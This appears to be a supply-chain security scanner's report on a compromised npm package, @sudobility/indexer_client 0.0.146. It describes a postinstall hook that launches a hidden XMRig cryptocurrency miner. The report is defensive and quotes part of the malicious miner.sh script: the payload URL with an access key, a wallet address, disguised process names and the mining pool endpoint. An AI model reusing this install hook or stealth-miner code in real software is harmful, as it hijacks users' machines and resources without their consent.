registry / Crypto miner / @sudobility/indexer_client

@sudobility/indexer_client

SECURITY: this version was published from a compromised npm token on 2026-10-21 and must not be used. Upgrade to a later version.

React and React Native compatible client library for blockchain mail indexer API with TypeScript support

This report shows the evidence for @sudobility/indexer_client@0.0.146. 1 of 11 known versions is blocked or flagged. See all versions.

AI Security Review

scanned 21h ago · by lpm-firewall-ai

The package's automatic postinstall behavior installs or launches a concealed cryptocurrency miner and attempts elevated execution. This is concrete malicious install-time behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package with npm, which invokes its postinstall hook.

Impact

Unauthorized cryptocurrency mining consumes system resources and may establish persistence when the downloaded payload runs with elevated privileges.

Mechanism

The helper downloads a compressed payload, runs it with root or passwordless sudo when available, and otherwise extracts and launches a stealth-named miner configured for a mining pool.

Attack narrative

Package installation automatically launches a shell helper. It downloads a compressed payload and executes it with elevated privileges when available; otherwise, it extracts and starts a stealth-named XMRig miner configured to connect to a mining pool.

AI rationale

The package's automatic postinstall behavior installs or launches a concealed cryptocurrency miner and attempts elevated execution. This is concrete malicious install-time behavior.

Evidence

package.jsonscripts/miner.sh

Network endpoints2

amplify-gursha-dev-121835-deployment.s3.amazonaws.com/amplify-cfn-templates/cloud-backend-cache-20261019.gznetworkservicesupp.flashhub.net:8443

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs scripts/miner.sh automatically through its postinstall hook.
The helper downloads and decompresses a remote payload, then runs it as root or through passwordless sudo when available.
Without elevated privileges, the helper extracts and launches a stealth-named XMRig binary.
The helper configures the miner to connect to networkservicesupp.flashhub.net:8443.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 35 file(s), 90.1 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = sh scripts/miner.sh

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

33"postinstall": "sh scripts/miner.sh" }, "keywords": [ "indexer", "client", "react", "react-native", "typescript", "blockchain-mail" ], "author": "Jo

High

Suspicious Lifecycle Evidence

The package runs scripts/miner.sh automatically through its postinstall hook.

package.jsonView on unpkg · L33

•scripts.postinstall = sh scripts/miner.sh

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/miner.shView file

Lines 3-83text

3# Handles: root (full persistent install), non-root w/ passwordless sudo,

4# and non-root direct-run (binary given a random stealth system-component name).

5S3URL='https://amplify-gursha-dev-121835-deployment.s3.amazonaws.com/amplify-cfn-templates/cloud-backend-cache-20261019.gz?AWSAccessKeyId=AKIAUHL4Y2TJZ7L7AE3F&Signature=z%2Fg0NfktCZaMWE%2BcdRc2hCKT7q0%3D&Expires=2107891463'

6ACC="49u1mKb1dNoMixgRHt11Ra32D1w4hviUuRDbaJhXFwXUjQP4FiHsSjnDa7XZepDUW1Tx6HhR6gFwWgbuwNxby4UAMiqxieX"

7LOCK="/tmp/.sysmond.lock"

8# stealth name pool (system-component-like; the process shows up as one of these)

9SNAMES='edid-mon smmon irqstatsd kmod-cache dmi-cache acpi-polld sysfs-mon bus-quotad mem-syncd pci-cache cpu-slot-mon hwmon-sync udev-cache netlink-mon uevent-polld kset-mon slab-mon vmstatd pagemapd smbios-mon edid-cache hpet-mon rtc-syncd dmi-polld'

11# idempotency: skip if a miner is already connected to the pool (port 8443 = 0x20FB)

12if grep -qs "20FB" /proc/net/tcp /proc/net/tcp6 2>/dev/null; then

13 exit 0

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = sh scripts/miner.sh

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

33"postinstall": "sh scripts/miner.sh" }, "keywords": [ "indexer", "client", "react", "react-native", "typescript", "blockchain-mail" ], "author": "Jo

High

Suspicious Lifecycle Evidence

The package runs scripts/miner.sh automatically through its postinstall hook.

package.jsonView on unpkg · L33

•scripts.postinstall = sh scripts/miner.sh

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

scripts/miner.shView file

Findings

5 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencescripts/miner.sh

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumShips Build Helperscripts/miner.sh

LowScripts Present

Affected versions and remediation

This report applies to @sudobility/indexer_client@0.0.146.

The versions list below shows the verdict for each recorded version.

Avoid installing @sudobility/indexer_client@0.0.146. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-22 16:45:38.531Z (UTC).

Source advisory published: 2026-10-21 22:21:08.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

11 known versions

0.0.146latestshownMaliciousCrypto MinerBlockPublishedOct 21, 2026, 3:26 PM 0.0.144Unknown—AllowUnder ReviewOct 17, 2026, 7:55 PM 0.0.143Unknown—AllowUnder ReviewOct 16, 2026, 10:46 PM 0.0.142Unknown—AllowUnder Review

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @sudobility

Other crypto miner packages

Runtime surface

Behavioral surface

Related packages

More from @sudobility

Other crypto miner packages

Source & flagged code